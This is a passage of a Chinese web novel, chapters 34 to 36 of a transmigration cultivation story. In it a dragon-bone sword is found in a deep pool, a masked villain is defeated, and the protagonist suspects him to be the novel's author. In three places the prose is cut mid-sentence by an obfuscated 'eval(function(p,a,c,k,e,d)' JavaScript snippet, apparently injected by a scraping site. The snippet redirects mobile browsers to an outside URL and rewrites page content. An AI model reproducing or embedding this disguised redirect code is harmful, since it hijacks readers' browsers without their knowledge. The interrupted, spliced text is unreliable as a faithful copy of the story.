万仞山在这激烈碰撞中抖得仿佛山崩地裂,而在这崩溃坍塌中两边谁也没后退。直到又有一道金光划过,将阵法径直劈碎,地动山摇过后才悄无声息。 一时间安静得有点诡异,似乎刚才无事发生。 齐云鲤和面具人对视一眼,又打起来。 这时都知道彼此有不相上下的力量,因此不再用大招。只是用修为功法打了一路,从树林那边打到山洞外。 山洞里众人原本照常挖掘龙骨,结果挖着挖着突然开始地动山摇,仿佛山体里的巨龙遗骨已经复活,就要飞上云霄。 鼎山弟子将煅剑城弟子护在身后,谁知震动就没停止。 过去这么多年,万仞山从未震得如此凶猛。 “是龙骨在震动。”严岐观察四周,得出结论。 宋安合皱紧眉头问:“哪里的龙骨?” “山脉里的龙骨,出大事了!”严岐大喊一声。 她转身朝外跑去,其他人跟在后面一路狂奔。跑着跑着他们又听到山洞外的激烈打斗声,铿锵有力、持续不断,听得人都头皮发麻。 山洞外在激烈打斗,山洞里在剧烈震动,对比一下还是震动更要命。毕竟随时都有可能坍塌,所以众人还是朝外跑去。 快到洞口出现一个阵法挡住众人去路,情急之下也没人细想,眼下只觉得是有人将他们的生路堵死。 于是众人齐心协力破除阵法,冲出山洞。 齐云鲤和面具人打到山洞外,为避免伤及里面的人,她就挡在洞口,还在里面布下阵法,以防面具人一不留神冲进去。 不过双方在洞口的打斗又引发洞内龙骨震动,这是她不知道的。 打得难解难分时,山洞里突然冲出几个人。齐云鲤眼角余光瞟到几个人影,就知道大事不好。 面具人在这短短一瞬打出攻击,攻击阵法向洞口几人冲过去,阵法中有几道凛冽寒光在来回盘旋。 齐云鲤纵身一跃,扑到洞口布阵抵挡,不过还是被锋利寒光划出几道血口,血流一地。 “别出来!”她喊完又冲过去跟面具人打起来,将其从洞口那一带引开。 两人边打边跑,身上都有血口,鲜血洒了一路。 打着打着进了树林,林子里有个浅水洼,不过一踏上他们就直接沉下去。 34. 龙骨剑 无根海虽然已经消失,但万仞山还留有几个水洼,是低凹处的小水坑。 即使很浅但相当稀有,因为并非雨后形成,也就是说那里不是雨水。 水源来自何处,众人只能联想到无根海。 无根海是一望无际的湖泊,找不到任何水源,但始终都保持一定水位。 因此大家都将水洼当成残留的无根海,即使找不出任何联系。 既然都不知来处,那就算来自同一处。 齐云鲤之前看小说只以为是他们胡思乱想,没想到一踏上去就沉进深水潭,而且沉个不停,就没浮上去过。 这要是跟无根海没关系,她都不信。 面具人和齐云鲤同时沉进水里,还一直没到底。水潭究竟有多深,谁也搞不清楚。不过能深到这种程度,必定有什么原因。 小说里并没有直接描写万仞山水潭,因此谁也不知道水里有什么。 幸亏两人都会避水术,不然早就淹死。 快到水底时,齐云鲤突然望见一抹白,在阴暗的水底仿佛是道光。这种深水潭里能看清颜色,完全是因为不知来自何处的浅光。 浅光恰好照在那一抹白上。 那东西看起来像骨头,她突然想起煅剑城龙骨剑。 既然城主打造的龙骨剑别具一格,那么自然生成的就应该更加出神入化。 ——以至于专门有道光照在上面。 丹青宝卷在小说里不存在,谁知还有从未见过的元气,甚至背后还牵连到龙骨论战和化龙。 那根骨头没听说过,但自带光照,说不定也有超出想象的奇效。 想到这里,她快速沉到水底一看,那抹略微泛黄的白骨就是剑的模样。 不止是骨头而是骨剑,那当然就是龙骨剑。 既然有龙汇聚在无根海,那么万仞山上的自然就是与龙相关的龙骨剑。 煅剑城里成千上百的龙骨剑,都不如这一把,这是巧夺天工、鬼斧神工,人力所不能及的东西。 此物在小说里从未出现,书里的水洼也从没变成水潭,闻所未闻见所未见的东西必定不同凡响。 ——管它怎么来的,先拿到再说! 不过等齐云鲤伸手过去时,同时出现探过去另一只手,主人正是面具人。 两人对视一眼,都知道对方想干什么,于是瞬间化形为巨蟒在水底厮杀起来。 小说里没有的人在小说不存在之处大打出手,将水底搅得都出现漩涡。 巨蟒在水里打斗,漩涡让水溢出水洼,带动周边一起震动。 鼎山弟子和煅剑城弟子站在洞口有种天崩地裂之感,四周还有血迹,周围都在震动,甚至比之前更猛烈。 感觉马上就要葬生在万仞山。 在山洞里还只有严岐发现龙骨震动,如今谁都知道,因为之前挖出来的龙骨正在剧烈震动。龙骨被放置在乾坤袋里,现在袋子抖个不停。 所有人都知道出大事了,可又都还有些茫然。 毕竟一时发生太多事,脑子有点转不过来。 回想一下之前发生的事,挡在洞口的那个阵法貌似没有敌意。 宋安合只好说:“刚才的阵法应该是青湖师叔布下。” 但是转眼她就血溅当场。 人影出现得很突然,不过更突然的是洒了满地的血。 “好多血啊……”孙仲礼看着一地鲜血,有点胆战心惊。 出这么多血,按理来说受伤之人都要倒地不起。 严岐环顾四周,判断道:“此地不宜久留。” 其他人四处观望,都有些胆战心惊,毕竟已经远超常识。 但刚才青湖师叔叫他们别出来,所以现在谁都不敢动。 “在哪个方向?”卫池做为殿后最后出来,结果一出来就看到满地鲜血和晕头转向的几个人。 能来到万仞山的基本都见过大场面,眼下还有这种反应,可见刚才发生之事已经远超所料。 虽然没在洞里打,但在洞口打得谁也不敢动,也不是好事。 “他们打过去了……”孙仲礼指指右侧山林,那边有些断裂树枝。 血迹也顺着那个方向一路蔓延过去。 卫池留下忠告,冲进山林:“你们呆在这里不要动。” 万仞山他已经来过很多次,不过之前都是普通挖掘龙骨。没想到万仞山的龙骨当下竟然震动起来,无论是否埋在土里。 可见有什么东西足以引起所有龙骨震动。 能引起龙骨震动的,势必就是与龙相关的东西。 之前卫池认为无根海只是虚无缥缈的传说,如今看来似乎确有此事。 无根海是真龙汇聚之处,说不定留下什么引起龙骨震动。 所谓同声相应,同气相求,八成是有类似之物。 鼎山弟子来万仞山若只是帮忙挖矿,那绝不可能。 ——八成有什么不为人知的秘密。 他见到林子里有个水洼的水动来动去,还带动四周土地震动。周围草木有明显的踩踏和劈砍痕迹,看起来打斗的两人就在那边。 ——也许龙骨震动的根源就在水里。 即使只是个小水坑,但谁知道还有什么。 卫池冲过去一踩,人立即沉入水中。 人落到水里一段距离,会自然而然向上浮,但这时他却始终下沉。 水下很深,深不见底,他施展避水术就朝下游去。水底虽然阴暗,但又不知道从哪里泛出一点光,使得周遭不至于漆黑一片。 他寻着逐渐扩大的动荡游去,然后看到水底有两条巨蟒在厮杀。即使光线昏暗也能看清它们身上鳞片,密密麻麻的仿佛鞭上纹路。 不过无论打斗如何激烈,双方似乎都会不约而同避开中间的位置。 卫池游过去一看,那里插着一把剑,两条巨蟒似乎就是在争夺此物。 轮回这么多次,他还没听说过万仞山水洼里插着剑。 斗得再狠也不会破坏那把剑,不是因为巨蟒有意避开,而是因为有阵法守着那把剑。即使直接撞过去,也碰不到剑身。 这么看来,那把剑在水里是无敌的,插在那里就像是立起一面旗。 两条巨蟒打得不死不休,卫池就趁机游过去拔出那把剑。 他发现那竟然是把骨剑,剑身上下没有任何装饰,只是两面有刃,中间有脊,还有能够手握的短柄。 拔出剑的瞬间,耳边传来一声悠长吼叫,仿佛潜龙出海、直冲云霄。 眼前所见霎时变换,刚才还身形硕大的巨蟒此时就像两条小虫。 而幽闭池水瞬间变成广袤无垠的大海,海上有云雾,也有龙。 那是货真价实的龙,比图谱上的龙气势大了不止一两倍。龙在海中慢慢游动,然后飞入云霄,周身鳞片闪动着光,仿佛一件霞衣。 遨游天地时,龙还盘旋在半空兴云布雨。 大地上的植物接受雨水滋润,便茁壮生长。 卫池看见的既不是龙也不是雨,而是感觉自己就像龙一样飞入云霄,又潜入海底。 万事万物在他眼里都显得格外渺小,似乎只有想方设法让那些事物不断生长,才能解决麻烦。 面对弱小无力,他想到的不是破坏而是保护。 眼下麻烦的就是那两条巨蟒,它们搅得四周不得安宁。 于是他拿起剑向前一挥,汹涌波涛就向巨蟒席卷而去,水下一阵翻腾,搅得谁也看不清。 等目光清晰时,卫池发现已经离开深水潭,脚下只有一个浅水洼。 此时将水踩在脚下,让他不禁回想起海上腾云驾雾的龙。 不过之前那把剑还在手里,剑身是骨色,剑锋并不锐利,可见是由某种骨骼打造而成。 但刚才就是这把剑让水潭变回水洼。 足以调动水力,还让卫池见到真龙之所见,即使现在眼前没有具体景象,但他感觉周身充满一股力,仿佛随时都能直冲九霄。 ——看来龙骨论战的龙骨剑就是参照这个打造的。 卫池考虑过化龙一事,鼎山龙骨论战会给获胜者颁发龙骨剑,是否就是想看能否有人成功化龙? 虽然自始至终都没参与过龙骨论战,但眼下他觉得自己就能化龙。 刚才看到真龙所见,还将水潭变回水洼,都是真龙之力。 正在思考时,耳边传来一声大喊。 “——他不会剑法!” 变回人形的齐云鲤喊完又跟面具人打起来。 虽然她搞不清状况,但那人没抢到剑就是好事,因此赶紧出声提醒。 即使声音突兀,但这就是卫池来此的理由。 面具人打两下就跑,齐云鲤拿着断剑想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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齐云鲤回头一看,发现站在身后的是鼎山弟子,他们正在施法布阵。只不过看起来都像是在屏息凝气,眼看就要断气。 只能挡住一时,之后所有人都会被压垮。 她见状立即大喊:“丹青宝卷在我这里!” 丹青宝卷里有无比纯粹的元气,用元气布阵就能跟龙息抗衡。 那几个鼎山弟子迅速冲过来,以她为中心布阵。 齐云鲤猛然回想起在鼎山击败蛟的那一幕,又大喊:“用剑阵!” 在场鼎山弟子不是参与过布阵的,就是当时被打的,这时发现又有机会出手,顿时激动起来。那时的蛟遥不可及,但眼下施法布阵的面具人近在咫尺。 ——打他就能解决问题。 在场众人借助丹青宝卷的元气之力铺设剑阵,剑影出现在半空。随后盘旋于卫池身后,他以剑阵之势挥剑砍向面具人的龙息之力。 霎时有如蛟龙翻腾,又有嘶吼又有气浪,带起四周山川土石一道震动。 龙息与元气融为一体,不再泾渭分明,而是一齐沸腾。 沸腾中又有剑尖刺向面具人,他不通剑法,自然无法抵挡突如其来的一击,只能勉强躲过对要害的攻击。 于是等激烈搏斗停止时,地上只剩半张面具。 鼎山弟子齐心协力打得面具人逃之夭夭,这当然是天大的喜事。 而且万仞山的龙息和元气不再彼此排斥。 这都好得不能再好,鼎山弟子一面检查伤势,一面谈论未来。 煅剑城弟子过来摸着龙骨剑爱不释手,还不断向外掏出医疗物资。 卫池被众人围在中间,又是疗伤又是攀谈,好不热闹。 就在这时,齐云鲤慢慢走到之前的位置,捡起那半张面具就眉头紧皱。 因为面具内侧垫着纸,纸上有打印的字迹,内容刚好有鼎山。 ——而且是鼎山灭门惨案那一幕。 这时她身受重伤,强撑着捡起面具,顿时又要被气倒。 ——面具人八成就是作者! 之前还以为是石月观音异想天开,没想到真的是他。 35. 天差地远 鼎山弟子和煅剑城弟子将卫池围在中间热烈讨论。 人群外的齐云鲤晃晃悠悠就倒地不起,李宜敏吓得赶紧冲过去检查,虽然伤势不轻但也不至于重伤倒地。 “这又是怎么了?”她实在想不通。 齐云鲤闭眼嘱咐:“我不行了,先躺一下。” 然后彻底昏睡过去,这又把那边的鼎山弟子和煅剑城弟子吓得不轻。 当然她其实是要去找石月观音,反正也不是非得躺在玄镜池。 既然哪里都能去,那就随时都能睡。 那边一群人手忙脚乱,这边齐云鲤已经来到破庙。 再次睁眼就发现四周昏暗无光,石月观音垂头丧气坐在莲花座上,齐云鲤只好赶紧说出那件事:“你说得对,那就是作者。” 这是个振奋人心的消息,之前怀疑来怀疑去,总是找不对方向。 如今目标明确,作者挖坑不填还来害人,真是人神共愤。 谁知石月观音依然提不起精神:“……然后呢?” 她的声音很小,仿佛只是呼了一口气。 这个反应并没有打消齐云鲤的希望,她还能说很多细节。 于是她又说起来:“他不填坑就算了,结果还跑到这边来。” 不写小说还来破坏这个世界,那就是罪加一等。 可石月观音只是坐在那里问:“有什么证据?” ——眼下她这么在乎证据,明显异常。 齐云鲤赶紧说出关键:“面具人的面具内侧垫着小说稿件,面具被男主打下一小块,我捡起来一看就是《长夜道枯》的内容。” 正反两面都有戏份,这总算证据确凿,再也不能否认。 但石月观音看起来已经彻底放弃:“就算知道也无可奈何。” 听起来像是就算知道原因,也不能改变现状。 这很常见,但石月观音有这种反应很罕见。 “看来他已经做好充分准备,有那么充分的准备怎么不填坑?”齐云鲤赶紧责怪,石月观音不出声,但自己要说出她的想法。 菩萨慈悲为怀,也不能抵消作者的罪。 谁知石月观音居然帮忙解释:“可能他也无能为力吧。” ——这就有点匪夷所思。 齐云鲤只好说出极其罕见的一幕:“男主在充满龙息的万仞山击败面具人,这是谁也想不到的。” “主角战胜一切,这是常见现象。”石月观音居然还反驳起来。 耐心再好齐云鲤也演不下去,这就不是演戏的事。 “……你怎么了?” 她十分疑惑,之前石月观音对小说男主和作者都很感兴趣,结果现在仿佛彻底自暴自弃,既不骂也不夸。 菩萨的头偏向窗外,眸子里印着白玉兰:“就算知道也无可奈何。” “你在说什么?”齐云鲤完全想不通。 之所以还安分呆在这边,是因为石月观音要她填坑,并且对此有所期待。 如今对方自暴自弃,感觉呆在这里已经找不到意义。 强行填坑干什么,她又不期待大结局。 何况稀奇古怪的地方有一群奇奇怪怪的人,跟她有什么关系? 此时窗外白玉兰依旧绽放,室内没有明确光亮,显得外面充满生机,屋内渺无希望。 石月观音坐在莲花座上佝偻着背,低头一叹:“看来这就是我的命吧。” 这种无可奈何的认命前所未有,齐云鲤刚想说话,就被推出大门。 莲花座距离大门有七八米远,齐云鲤直接被推出去,简直不敢相信。 而且在被推出去的瞬间,她看到莲花座上很多签名已经彻底模糊。 ——仿佛有些人再也没有希望。 石月观音态度的转变相当离奇,不过齐云鲤也没有机会探寻真相,毕竟已经醒来。自己躺在垫子上,有人正在施法。 她发现李宜敏正在用功法给自己疗伤,用功法疗伤风险很大,居然还这么拼? 于是赶紧说:“你不是说若用修为疗伤,后果可能不堪设想,差之毫厘失之千里?” 李宜敏眉头紧皱,发现她苏醒才总算松口气:“反正这次打架的和被打的都不是我。” 她的话里似乎有些抱怨,而且呼气声过于明显,仿佛气喘吁吁,齐云鲤一时无言以对。 之前这人对自己还有点责怪的意思,结果现在脱胎换骨。 几步之外的鼎山弟子和煅剑城弟子还在说个不停,卫池逐一解释说明,将众人说得心服口服。 他们发现青湖师叔苏醒,纷纷兴高采烈,仿佛是逢年过节看到舞龙舞狮一类的表演,就差欢欣鼓舞。 最后卫池把龙骨剑递给煅剑城弟子,他们抱着龙骨剑就跟鼎山弟子到一旁研究去,四周瞬间安静下来。 卫池似乎把握着现场每一个度,不让任何事情有失偏颇。 这跟那人之前的态度有天壤之别。 齐云鲤都有些目瞪口呆,原来他还能做到这一步。 卫池转身见她苏醒,也没有表现出明显的高兴,只是走过来几步。 “已经痊愈。”李宜敏赶紧起身交代,前所未有的规矩。 卫池客气地说:“辛苦了。” 李宜敏闻言就迅速离开现场,速度快得仿佛是逃跑。 虽然齐云鲤一无所知,但她远去的背影就像落荒而逃。其他人全都不在,只有卫池站在旁边,突然有点吓人。 即使他眉清目秀、神色平静,但就是有种青面獠牙之感。 开口说的话也像是威胁,让她有种“磨刀霍霍向猪羊”的感觉。 “丹青宝卷以后我就没再动手,你要是出事不能怪我。” 卫池跟之前判若两人,齐云鲤感觉命不久矣。 虽然他之前妥善处理好一切,但这话听起来就像撇清关系,之后不管发生什么都不能怪他。 石月观音跟他原本一个哭哭啼啼一个阴阳怪气,结果现在仿佛都彻底换人。 ——难道又穿越了? 面具人看似被打跑,其实偷偷搅乱天地,让她掉到其他世界? 虽然可能原本是想让自己身首异处,谁知她整个人都过来。 只是尽管还活着,但眼前的问题也不少。 刚才李宜敏居然用功法给自己疗伤,这还是原来那个人吗? 她不是说在鼎山之外的地方用功法疗伤很危险? 过了一会儿齐云鲤才勉强冷静下来。 她看着不远处兴奋的煅剑城弟子就问:“那把剑有什么特别的?” “那是龙骨剑。”卫池似乎对她的发言相当不满。 齐云鲤发现还没回应他刚才的话,就赶紧说:“我倒地不起是因为之前被面具人打,他下手很重,与你无关。” “你有病吧?”卫池眉头紧皱,不满意这个说法。 “虽然伤势恢复,但遭受的刺激不小,我还得缓一下,”齐云鲤说完就赶紧转移话题,“我跟面具人都想抢那把剑,不过最后还是你拿到,看来这是注定的,那把剑本就属于你。” 之前跟面具人的打斗也算天昏地暗,不是山要塌就是水要没。 最后能击败对手,当然少不了鼎山弟子布阵,可也不能缺少卫池。 如果没有他,背后的阵法再强大也无济于事。 有了布阵之人,还要有使用阵法的人。 使用剑阵的卫池得到龙骨剑,众人赞不绝口。 不过齐云鲤已经昏睡过去,似乎就跟这件事无关。 如今她提起龙骨剑,还说得那么天经地义,实在意想不到。 卫池被这么一夸,语气瞬间软下来:“那把剑并不锋利,即使他们拿过去看也不会有事。” “那你怎么能把他打得毫无还手之力?”齐云鲤看似好奇地问。 卫池皱起眉头,感觉有点不太对劲:“他还手了……” ——当时是鼎山弟子布阵才挡住面具人攻击。 在那之前都有种灭顶之灾的感觉。 滔天龙息仿佛能将卫池碾得粉身碎骨。 毫无还手之力的绝不是面具人。 齐云鲤发现说错话,不过也意识到面前这个卫池就是之前那个。 于是也不再装,瞬间弯腰揉头:“就当那个是龙骨论战的奖品,好好研究。” 她不管不顾地低头打哈欠,完全不介意卫池就在身边。 之前说龙骨剑的事,卫池还以为她转变性情,有点善解人意。 结果现在发现跟以前一样,还是很随便。 “面具背面的纸是什么东西?” 发现她态度大变,他也问起来。 面具背面的纸是印刷品,齐云鲤当然不能说出真相,只好说:“看起来像是什么独门秘籍,也不知道他还藏着什么。” “仅此而已?”卫池很怀疑。 “不然还有什么?” “我又不是不识字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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齐云鲤完全放弃挣扎,既然空口无凭,那就不用继续。 卫池无话可说,只是感觉没必要撒这种谎。 过了一会儿他才勉强接受这件事,问:“他具体说什么?” “他说面具人始终只用修为功法,无法关注全局,所以关键就在这里。”齐云鲤背出菩提慧海的话。 但这话在卫池听来没什么用。 “……仅此而已?” “他还说万仞山的龙息和元气不平衡,就快出问题。”齐云鲤总算说出关键。 之前跟面具人打斗时,龙息和元气的变化很明显。 一开始是对立关系,后来就互相融合。 虽然还是没证据,但这件事大家都亲身体会。 卫池也挑不出问题,只能问:“怎么他还认识青湖?” “他说他们都在干活,面具人对他们来说是个麻烦。”齐云鲤说得很概括。 干什么活,又是什么麻烦,没一个说清楚。 不过卫池也不关心这种事,而是继续问:“还有呢?” “他说面具人功法很高,但是只能看到功法,其他一切都不存在。” 齐云鲤说出跟之前类似的话,感觉他听不懂,就伸手解释:“这是一个面。” 她示意完整个手掌,然后伸手点到其中一处:“这是一个点。” “他只能看到点,看不到面。”齐云鲤觉得自己说得很好。 但卫池有点嫌弃:“不知道你在说什么。” “就是他只盯着你打,会忽略鼎山弟子!而鼎山弟子布阵挡住他的攻击,你就能顺势击败他!”齐云鲤急得大喊。 卫池这时总算听懂,毕竟才打完。 只关心个人而忽略整个鼎山,这就是面具人的弱点。 个人突出从而掩盖住鼎山的力量,或许是个办法。 想到这里,卫池越想越投入。 谁知齐云鲤又说:“菩提慧海说把竹子砍断,把断竹摆向东南方,如果之后下雨就能找到他。” “我才不找。”卫池转身就走。 这话听起来就没有任何意义。 齐云鲤没有死心:“那我找了?” 卫池已经走远,没有回应,她就当他同意了。 36. 赌 青湖师徒大呼小叫也不是没见过,因此鼎山弟子都习以为常。 煅剑城弟子虽然奇怪,但其他几人完全没当回事,他们也就没放在心上。 毕竟伤重不治才是大事,吵架根本无关紧要。 之前卫池将他师父的伤势说得极其严重,稍有不慎就一命呜呼。 煅剑城弟子吓得把压箱底的伤药都拿出来,然后请李宜敏全心救治。 李宜敏收下天价医药就去施法疗伤,毕竟跟世间罕见的医药比起来,功法一文不值。 反正有鼎山弟子在旁边,她也不担心受伤。 于是李宜敏就使用功法疗伤,不过旁人看过去她还像是在使用医药。 煅剑城弟子给出的医药世间罕见,因此务必得弄到手。陆顷己在旁边打掩护,李宜敏就假装用医药治伤,其实是在用功法。 原本一切顺利,谁知卫池中途莫名其妙走过来说:“你在用功法疗伤?” 没想到他没跟其他人继续交谈,竟猝不及防走过来。 李宜敏和陆顷己听到这句话顿时吓死,因为世间有不少人以此来行骗。假装使用医药实则调动功法掩盖伤势,等救命钱到手就逃之夭夭。 人一走功法就很快失效,伤势没有任何缓解,只能一命呜呼。 ——他们真的不是要干那种事啊! 虽然李宜敏确实在用功法疗伤,但这类骗子多的是,谁也说不清。 卫池之前打败面具人,她感觉自己小命不保。 陆顷己很紧张,但也不敢说什么。 鼎山弟子和煅剑城弟子就在不远处,稍有不慎可能就会被群殴。 情急之下,陆顷己连遗言都完全想好。 好歹鼎山弟子会给他家带个信。 不过这时卫池又说:“是医药效果太好,仿佛是在用功法。” 说得像是意外惊喜。 ——这句话瞬间打破两人焦虑。 李宜敏不知道他究竟看破没有,赶紧示意陆顷己将人带走。于是陆顷己就以鼎山弟子的名义提问,又将卫池领到其他人那边,越说越多。 无论说什么,反正千万别停下来。 于是那边越问越多,卫池就越说越多。 众人在那边谈天说地,李宜敏这才赶紧解决手头的伤势问题。 由于是用功法疗伤,最后累得她感觉还不如用医药。那个医药虽然世间罕见,但使用功法疗伤是真的要命。 齐云鲤睁眼就看到精疲力尽的李宜敏。 她不知道前情,只是感觉李宜敏仿佛刚结束鼎山环山跑。 以前还没见她累成这样,之后又走得格外迅速,都仿佛是逃跑。 齐云鲤不明所以,之后跟卫池说一堆,感觉有点心力交瘁就不想再动。 那边的卫池又被众人围起来,像是在解释她的伤情。 那个人说了也不听,齐云鲤就不再管,眼下应该想的是石月观音。 石月观音以前神神叨叨,仿佛知道很多,但只透露一点点。她说的很多东西都稀奇古怪,当时齐云鲤还以为是胡说八道。 可如今发现面具人貌似就是作者,还真如石月观音所说。 如果她所说全部为真,那情况就有点恶劣。 她说自己本来要就死了,现在只是命悬一线。 还说如果自己死了,那某个人的努力就全都白费。 作者在她嘴里丧尽天良,男主在她嘴里天纵奇才。 如今看来作者的事八成为真,男主的事不用管,反正说了也不听。 那么她本来是要死的,幸亏某个人努力才捡回一条命。 假如自己曾是鼎山弟子,那么可能是鼎山灭门导致她要死。 但如此一来要救她就要救鼎山,跟填坑是一回事。 还是说她早就死了,而且死得蹊跷? 齐云鲤越想越诡异,感觉背后藏着什么阴谋诡计。 而且蒙眼女子说她认识面具人,面具人都追杀她一路,还跟青湖有仇,也不知道是在哪里惹的麻烦。 关键面具人就是作者,挖坑断更还来搅局。 这样看起来,作者似乎并不想填坑。 齐云鲤坐在那里,感觉已经没有活路。 虽然之前跟卫池不欢而散,但现在又得过去提醒他。 毕竟面具人能干出什么,估计已经远超想象。 既然不再针锋相对,那就要避免被偷袭。 偷袭到他,鼎山就会受创,填坑更加遥遥无期。 卫池还在解释师父的重伤情况,齐云鲤就走过去。 才过去就听到他像是在说自己差点重伤不治,她就赶紧扶住路边小树。 鼎山弟子和煅剑城弟子见她像是快站不住,马上跑过来防止她跌倒。 众人小心翼翼看护她,卫池明显不悦。 齐云鲤赶快强调自己没事,只是稍微走动一下不会出问题。 “此地龙息虽然平稳,但时间比较短,还是可能突然暴动。一旦乱起来,谁都挡不住。”严岐郑重说明,似乎经验丰富。 “之前那个人估计还会再过来,我找他有事。”齐云鲤只好指着卫池说出重点。 面具人有多凶残,众人亲眼所见、亲身体会。 如今听到他还会再来,所有人顿时紧张起来。 齐云鲤说:“你们注意布阵就行,关键是要有人使用阵法,我还没恢复,所以只有他。” 之前鼎山弟子布阵后,是卫池使用剑阵对抗面具人。 大家一听就知道不能耽误时间,马上就用阵法将青湖师叔移过去。 他们一后退,卫池就说:“你干什么?” “面具人知道的比你多很多,”齐云鲤立即进入正题,“他能干什么也许你都想不到,只怕小心得还不够。” 卫池问:“他还能干什么?” “之前他化形为蛟,看来是想化龙,一旦成功我们都必死无疑。”齐云鲤说得很严重。 卫池停顿片刻才说:“……我也能。” “别痴心妄想了,还是小心吧。” 两个人讨论着严肃话题,其他人则在一旁闲聊,原本还算寻常,结果突然有一道锐气袭来。 刚才还说不知道面具人会干什么,偷袭就突如其来。 齐云鲤被卫池猛然一拉摔到草丛里,刚才站立之处就被划开两尺深的口子。 稍微慢一点她就会血流如注,这就是纯粹的偷袭。 之前还要假装行动不便,结果现在彻底成真。 因为锐气背后还有龙息压迫,虽然万仞山的龙息和元气是平衡状态,但面具人那边还有龙息。 齐云鲤摔倒之后被龙息压得再也起不来。 卫池也不管她,拿起龙骨剑就冲向锐气袭来的方向,随后那边就传来短兵相接之声。 鼎山弟子布阵防护,还有人打散龙息,扶起青湖师叔。 严岐转手掏出弓箭,对准锐气袭来的方向一射,半空中的阵法应声而破。众人趁机布阵,赶紧挡住攻击。 不过那边的兵刃交击之声愈发猛烈,听起来像是面具人又使出风刃。 打斗声片刻也没停,感觉是打烂一个又出来一个能短兵相接之物。 “血阵、血阵!”宋安合看出那边的问题,立即召集鼎山弟子布阵。 这个阵法在丹青宝卷里使用过,当时有巨蟒在城内肆意妄为。 眼下又使用这个,估计也差不多。 众人铺开血阵,那边就出现一条硕大无比的蛟,这比巨蟒威力更强。 不过那条蛟并没有攻击众人所在之处,而是转动身躯向山下打出气旋。 宋安合又大喊:“挡住下山的位置!” 所幸反应及时,虽然稍微有些气流冲下山,但整体气旋还是彻底被挡住,万仞山的打斗没有波及山下村民。 一场血光之灾被及时制止。 而那边的蛟打两下就消失不见,估计消耗太大,已经撑不住。 打斗停止,卫池又将那边绕一圈才过来。 “那个人估计是躲起来了。” 他从角落里走出来,周身还飘散着一些草叶碎屑。 齐云鲤靠在一边无话可说,才摔一跤就彻底结束。 刚准备说服卫池,结果这样就被打断? 她还想出一大堆有理有据的话,保证他心服口服。 正在惋惜,卫池就走过来说:“的确想不到他会干什么,不过你已经是靶子。” 这话听起来就没好事,什么没做也被嘲讽。 刚才她只有摔倒,四周的打斗射箭布阵都跟她没关系。 只能说是摔跤分散火力,不然估计打得更凶。 但这只能算心理安慰,作者和石月观音的事都还没解决。 小说男主又明晃晃不屑一顾。 搞得好像齐云鲤已经束手无策。 “他们对阵法的运用愈发得心应手。”她只能点评。 这是顺势夸赞,但卫池却说:“你不要连累其他人。” 好好一句话,结果收到这样的回复。 齐云鲤想起作者和石月观音,不免有些气:“要不是他们帮忙,你都打不过。” 这是不可否认的事实,谁也不能反驳。 可卫池却说:“要不是他们帮忙,你已经是一滩烂泥。” 他说完就走到一边,完全不管后续。 而这也是事实,齐云鲤完全无法否认,她又想起自己除了摔倒什么也没做。 都不是脸面问题,而是她可有可无,无关紧要。 虽然自己是穿书者,但怎么也算鼎山长老。 废物到这个地步,实在没脸活着。 不过虽然她废物,可卫池也没好到哪里去。 “天地在变,他们在变,你也可以变!”齐云鲤大吼一声。 “说话别太狂妄,”卫池不屑一顾,“有本事你就把那个人找出来。” 其他人都有些目瞪口呆,即使他们两个大呼小叫也不是没见过,但刚打完就吵起来,实在没想到。 虽然蛟已经消失,但背后的面具人还不见踪影,不知道藏在什么地方。 刚才卫池亲自去找都没找到,其他人估计也找不出来。 ——但这就是个隐患。 齐云鲤大喊:“我要是找出来,回到鼎山前你就化形成猫,不准变回人!” “要是你真有这个本事,我也不介意。”卫池毫不在意地点头。 齐云鲤看起来已经气极:“你给我等着!” 众人原本是想劝架,还没确定附近安全,不用这么早又闹起来。 结果看起来又不用劝了,这两个人说是在吵架,更像是在赌。 李宜敏发现卫池这么棘手,不禁庆幸之前他还没露出真面目。 不过孙仲礼相当担心,毕竟齐云鲤刚才摔了一跤,随后还有龙息压过去。 虽然现在没事,但她可是要去找面具人。 面具人之前又化形为蛟,可见功法相当深厚。 行动不便的齐云鲤感觉毫无胜算。 陆顷己不得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079814|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不拿出之前换回来的顶级医药,交给青湖师叔。 ——吵架事小,没命事大。 只能说他之前打掩护总算没白费。 严岐掌管万仞山事务,只好说:“不用了吧?” “很有用,相当有用,极其有用。”齐云鲤一瘸一拐走到外围,然后施法疗伤,瞬间痊愈。 “给我看好了!”她伸手一指背后的卫池,就向前方山林冲过去。 面具人没有现身,估计是因为功法不济。 如果用类似功法的东西将他引出来,就顺理成章。 普天之下最接近功法的就是鼎山龙息,所以之前面具人始终在鼎山徘徊。 而齐云鲤由于禁地阵法,还带着一个平安符在身上。 禁地阵法里也有平安符,可以跟这个相互感应。 那边就有鼎山龙息,所以这边也能透露出一丝龙息。 齐云鲤在山林里施法布阵,连接两个平安符。 其他人则在山林边缘看着这一幕,谁也不知道会发生何事。 阵法连接两个平安符,接着便透露出一丝龙息。 尽管只有零星一点,但那就是相当平稳的鼎山龙息。 面具人的手不出意料出现在平安符上方。 齐云鲤冲过去就是一脚,直接把面具人踹得现出原形。 